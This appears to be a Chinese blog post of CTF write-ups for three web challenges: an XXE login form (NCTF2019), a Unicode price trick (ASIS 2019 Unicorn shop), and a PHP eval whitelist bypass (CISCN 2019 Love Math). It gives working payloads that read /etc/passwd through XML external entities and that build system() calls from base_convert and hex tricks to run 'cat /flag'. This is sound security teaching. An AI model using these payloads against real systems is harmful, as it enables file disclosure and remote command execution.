[NCTF2019]Fake XML cookbook
XXE漏洞
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
XML
- XML被设计为传输和存储数据,其焦点是数据的内容。
- HTML被设计用来显示数据,其焦点是数据的外观。
XML基本格式与基本语法
基本格式:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。
standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。
基本语法:
所有 XML 元素都须有关闭标签。
XML 标签对大小写敏感。
XML 必须正确地嵌套。
XML 文档必须有根元素。
XML 的属性值须加引号。
若多个字符都需要转义,则可以将这些内容存放到CDATA里面
<![CDATA[ 内容 ]]>
相关链接:
流程:
首先尝试登陆:
由题目提示,猜测为XXE漏洞。
查看网页源码:
<script type='text/javascript'>
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
</script>
使用BurpSuite抓取数据包:
看到了其中的XML代码:<user><username>admin</username><password>admin</password></user>
XML用来传输存储数据,在后台解析XML时,没有禁止外部实体加载,构造payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>
使用Repeater发送数据包:
得到回显:
其中成功读取了/etc/passwd文件的内容,flag通常在根目录下,构造payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
得到flag:
[ASIS 2019]Unicorn shop
UTF-8
UTF-8(8位元,Universal Character Set/Unicode Transformation Format)是针对Unicode的一种可变长度字符编码。它可以用来表示Unicode标准中的任何字符,而且其编码中的第一个字节仍与ASCII相容,使得原来处理ASCII字符的软件无须或只进行少部份修改后,便可继续使用。因此,它逐渐成为电子邮件、网页及其他存储或传送文字的应用中,优先采用的编码。
UTF-8介绍
UTF-8 制表符
流程:
进入页面让我们买马?前三种比较便宜,第四种比较贵。
随便试一下
发现提示只能允许输入一个字符
但只允许输入一个字符只能买1,2,3号马,买不了4号马,那么很显然,买到这个4号马,就能得到flag!
于是看看页面源代码
提示UTF-8很重要
这里需要了解下UTF-8是什么类型编码
得到思路,利用Unicode字符中的一些特殊字符来代替输入的价格,从而得到flag
很全的Unicode字符
找寻指代thousand的Unicode字符
选一个大于1337的 因为4号马的价格是1337
我选择了这个 它代表了5000
或者
他的utf-8值为
把0x换成%,然后就可以得到id=4&price=%E2%86%87
[CISCN 2019 初赛]Love Math
base_convert函数
dechex(dec_number)
把十进制转换为十六进制。返回一个字符串,包含有给定 binary_string 参数的十六进制表示。所能转换的最大数值为十进制的 4294967295,其结果为 “ffffffff”。
hexdec(hex_string)
把十六进制转换为十进制。返回与 hex_string 参数所表示的十六进制数等值的的十进制数。
decbin decbin decoct octdec 同上,分别是二进制、八进制与十进制的互转。
打开后发现
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
根据题目的例子,我们试一下输入?c=20-1,得到19,看来这是一个计算器网页。
如果我们输入超过80位字符,就会返回
输入/t等字符发现被过滤
分析一下在payload中,长度不能超过80,不能包含黑名单的字符,不能有不是白名单的函数出现。
在php中,我们可以将我们的函数名,通过字符串的方式进行传参,然后进行变量的动态调用函数而达到执行函数的目的。比如
$a='system';
$a('ls');
这个就会执行成system(‘ls’)。
我们可以利用白名单里面的base_convert和dechax进行进制转换。
base_convert() 在任意进制之间转换数字。
dechex() 把十进制转换为十六进制。
我们可以构造一个payload:
?c=$_GET[a]($_GET[b])&a=system&b=cat falg
其中[]我们可以通过花括号进行替代,而字符串_GET,在php中,我们有一个函数,可以将十六进制转换为字符串,叫做hex2bin。
我们可以利用base_convert 构造一个.
因为36进制中存在着数字字母,我们可以将十进制数转换为36进制数
base_convert(37907361743,10,36)
然后我们再利用dechex将_GET的十进制数转换为十六进制,再通过hex2bin转为字符串。
(dechex(1598506324))
修改上面的payload
分解:
base_convert(37907361743,10,36)得到“hex2bin”
dechex(1598506324)得到“5f474554”
$pi=hex2bin(5f474554)得到$pi="_GET"
($$pi){pi}(($$pi){abs})=$_GET{pi}($_GET{abs})
$_GET{pi}($_GET{abs})=$_GET{system}($_GET{cat /flag})
payload如下
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
解法二:
另一种,不用$_GET的构造的话
我们执行system("ls")
那么payload如下:
?c=base_convert(1751504350,10,36)(base_convert(784,10,36))
但是如果要执行system(“ls /”)的话,空格和/怎么办呢?
这里介绍一下getallheaders
payload如下:
?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})
首先是利用$pi这个变量来缩短长度,然后是base_convert(1751504350,10,36),得到的是system,base_convert(8768397090111664438,10,30)得到的是getallheaders,至于为什么是30进制,因为这个:
Warning
由于使用内部的 “double” 或 “float” 类型,base_convert() 的操作可能会导致大数值中的精度丢失。
经过测试,31-36进制的getallheaders都会出现精度丢失导致不能成功得到getallheaders,30进制的时候就可以了。然后就是http头里面加一个:1:cat /flag
在这里插入图片描述